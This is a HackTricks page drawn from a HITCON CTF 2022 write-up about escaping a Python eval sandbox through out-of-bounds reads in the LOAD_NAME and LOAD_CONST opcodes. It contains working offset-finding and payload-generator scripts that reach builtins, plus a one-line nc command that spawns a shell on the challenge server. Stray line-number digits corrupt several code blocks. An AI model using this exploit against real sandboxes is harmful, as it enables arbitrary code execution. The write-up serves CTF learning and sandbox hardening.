hacktricks/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md

# LOAD\_NAME / LOAD\_CONST opcode OOB Read

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**This info was taken** [**from this writeup**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**

### TL;DR <a href="#tldr-2" id="tldr-2"></a>

We can use OOB read feature in LOAD\_NAME / LOAD\_CONST opcode to get some symbol in the memory. Which means using trick like `(a, b, c, ... hundreds of symbol ..., __getattribute__) if [] else [].__getattribute__(...)` to get a symbol (such as function name) you want.

Then just craft your exploit.

### Overview <a href="#overview-1" id="overview-1"></a>

The source code is pretty short, only contains 4 lines!

```python
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
```

You can input arbitrary Python code, and it'll be compiled to a [Python code object](https://docs.python.org/3/c-api/code.html). However `co_consts` and `co_names` of that code object will be replaced with an empty tuple before eval that code object.

So in this way, all the expression contains consts (e.g. numbers, strings etc.) or names (e.g. variables, functions) might cause segmentation fault in the end.

### Out of Bound Read <a href="#out-of-bound-read" id="out-of-bound-read"></a>

How does the segfault happen?

Let's start with a simple example, `[a, b, c]` could compile into the following bytecode.

```
  1           0 LOAD_NAME                0 (a)
              2 LOAD_NAME                1 (b)
              4 LOAD_NAME                2 (c)
              6 BUILD_LIST               3
              8 RETURN_VALUE12345
```

But what if the `co_names` become empty tuple? The `LOAD_NAME 2` opcode is still executed, and try to read value from that memory address it originally should be. Yes, this is an out-of-bound read "feature".

The core concept for the solution is simple. Some opcodes in CPython for example `LOAD_NAME` and `LOAD_CONST` are vulnerable (?) to OOB read.

They retrieve an object from index `oparg` from the `consts` or `names` tuple (that's what `co_consts` and `co_names` named under the hood). We can refer to the following short snippest about `LOAD_CONST` to see what CPython does when it proccesses to `LOAD_CONST` opcode.

```c
case TARGET(LOAD_CONST): {
    PREDICTED(LOAD_CONST);
    PyObject *value = GETITEM(consts, oparg);
    Py_INCREF(value);
    PUSH(value);
    FAST_DISPATCH();
}1234567
```

In this way we can use the OOB feature to get a "name" from arbitrary memory offset. To make sure what name it has and what's it's offset, just keep trying `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... And you could find something in about oparg > 700. You can also try to use gdb to take a look at the memory layout of course, but I don't think it would be more easier?

### Generating the Exploit <a href="#generating-the-exploit" id="generating-the-exploit"></a>

Once we retrieve those useful offsets for names / consts, how _do_ we get a name / const from that offset and use it? Here is a trick for you:\
Let's assume we can get a `__getattribute__` name from offset 5 (`LOAD_NAME 5`) with `co_names=()`, then just do the following stuff:

```python
[a,b,c,d,e,__getattribute__] if [] else [
    [].__getattribute__
    # you can get the __getattribute__ method of list object now!
]1234
```

> Notice that it is not necessary to name it as `__getattribute__`, you can name it as something shorter or more weird

You can understand the reason behind by just viewing it's bytecode:

```python
              0 BUILD_LIST               0
              2 POP_JUMP_IF_FALSE       20
        >>    4 LOAD_NAME                0 (a)
        >>    6 LOAD_NAME                1 (b)
        >>    8 LOAD_NAME                2 (c)
        >>   10 LOAD_NAME                3 (d)
        >>   12 LOAD_NAME                4 (e)
        >>   14 LOAD_NAME                5 (__getattribute__)
             16 BUILD_LIST               6
             18 RETURN_VALUE
             20 BUILD_LIST               0
        >>   22 LOAD_ATTR                5 (__getattribute__)
             24 BUILD_LIST               1
             26 RETURN_VALUE1234567891011121314
```

Notice that `LOAD_ATTR` also retrieve the name from `co_names`. Python loads names from the same offset if the name is the same, so the second `__getattribute__` is still loaded from offset=5. Using this feature we can use arbitrary name once the name is in the memory nearby.

For generating numbers should be trivial:

* 0: not \[\[]]
* 1: not \[]
* 2: (not \[]) + (not \[])
* ...

### Exploit Script <a href="#exploit-script-1" id="exploit-script-1"></a>

I didn't use consts due to the length limit.

First here is a script for us to find those offsets of names.

```python
from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
    def __getitem__(self, k):
        if type(k) == str:
            return k


if __name__ == '__main__':
    n = int(argv[1])

    code = [
        *([opmap['EXTENDED_ARG'], n // 256]
          if n // 256 != 0 else []),
        opmap['LOAD_NAME'], n % 256,
        opmap['RETURN_VALUE'], 0
    ]

    c = CodeType(
        0, 0, 0, 0, 0, 0,
        bytes(code),
        (), (), (), '<sandbox>', '<eval>', 0, b'', ()
    )

    ret = eval(c, {'__builtins__': MockBuiltins()})
    if ret:
        print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
```

And the following is for generating the real Python exploit.

```python
import sys
import unicodedata


class Generator:
    # get numner
    def __call__(self, num):
        if num == 0:
            return '(not[[]])'
        return '(' + ('(not[])+' * num)[:-1] + ')'

    # get string
    def __getattribute__(self, name):
        try:
            offset = None.__dir__().index(name)
            return f'keys[{self(offset)}]'
        except ValueError:
            offset = None.__class__.__dir__(None.__class__).index(name)
            return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
    while True:
        chr_code += 1
        char = unicodedata.normalize('NFKC', chr(chr_code))
        if char.isidentifier() and char not in names:
            names.append(char)
            break

offsets = {
    "__delitem__": 2800,
    "__getattribute__": 2850,
    '__dir__': 4693,
    '__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
             'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
    names[offset] = name

for i, var in enumerate(variables):
    assert var not in offsets
    names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
    get(get([],{_.__class__}),{_.__base__}),
    {_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
    builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
```

It basically does the following things, for those strings we get it from the `__dir__` method:

```python
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
  getattr(
    getattr(
      [].__getattribute__('__class__'),
    '__base__'),
  '__subclasses__'
  )()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
```

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